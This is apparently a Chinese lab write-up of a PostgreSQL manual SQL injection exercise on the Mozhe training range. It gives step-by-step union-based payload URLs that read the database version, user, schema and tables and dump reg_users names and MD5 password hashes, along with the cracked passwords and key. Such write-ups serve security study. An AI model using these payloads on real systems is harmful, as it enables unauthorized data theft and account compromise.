当前位置: 首页 > article >正文

SQL手工注入漏洞测试(PostgreSQL数据库)-墨者


———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解PostgreSQL的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。

还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。


解题步骤:

        

        一、验证注入点

http://124.70.71.251:41459/new_list.php?id=1 and 1=1

页面显示正常

报错一下看看

http://124.70.71.251:41459/new_list.php?id=1 and 1=2

ok,那注入点就是在这里了。


        二、order by猜列

确定了,四个字段。


        三、测试回显

用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null

依次给每个null加上单引号。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null

第二个和第三个位置有回显,接下来进行注入。


        四、数据库信息获取

version()数据库版本

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null

PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit

current_user数据库用户

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null

postgres

current_database()数据库名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null

mozhedvcms


        五、查数据

①查数据库名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

template1,template0,postgres,mozhedvcms

②查表名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables

notice,reg_users

③查列名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

id,name,password,status

④查数据

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

六、MD5解密登陆

(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)

(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)

mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9


总结:

        难度:★★☆☆☆☆☆☆☆☆

        分析:

        很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。



http://www.kler.cn/news/157154.html

相关文章:

  • 面试官:说说synchronized与ReentrantLock的区别
  • 训练 CNN 对 CIFAR-10 数据中的图像进行分类-keras实现
  • 【黑马甄选离线数仓day08_会员主题域开发】
  • 【STM32】TIM定时器输出比较
  • 中英翻译数据集处理
  • JFrog----常见的开源协议以及应用注意点
  • ESP32-Web-Server编程- 通过文本框向 Web 提交数据
  • 微信小程序跳转到外部小程序
  • 初步认识结构体
  • JVM之垃圾回收与算法(四)
  • 即兴语录-即兴小索奇语录
  • 数据结构:字典树(前缀树,Trie树),压缩字典树(Radix)
  • [ROS2] --- ROS diff ROS2
  • 11. 哈希冲突
  • python pyaudio给数据加噪声
  • PTA 7-229 sdut-C语言实验- 排序
  • 【数电笔记】06-码制
  • golang构建docker镜像的几种方式
  • 7. 系统信息与系统资源
  • ComfiUI API调用随记
  • vue3 中使用 sse 最佳实践,封装工具
  • 堆排序详细解读
  • 记录 | pip加速配置
  • Java中的锁
  • 一文打尽相机单目标定(远心,沙姆镜头)
  • 2024搞钱方式,这些你都了解吗?
  • Java NIO SelectionKey
  • 使用求2个字符串最长公共子序列的方法来实现 git diff 算法 java 实现
  • Kotlin学习之集合
  • 使用JAVA语言写一个排队叫号的小程序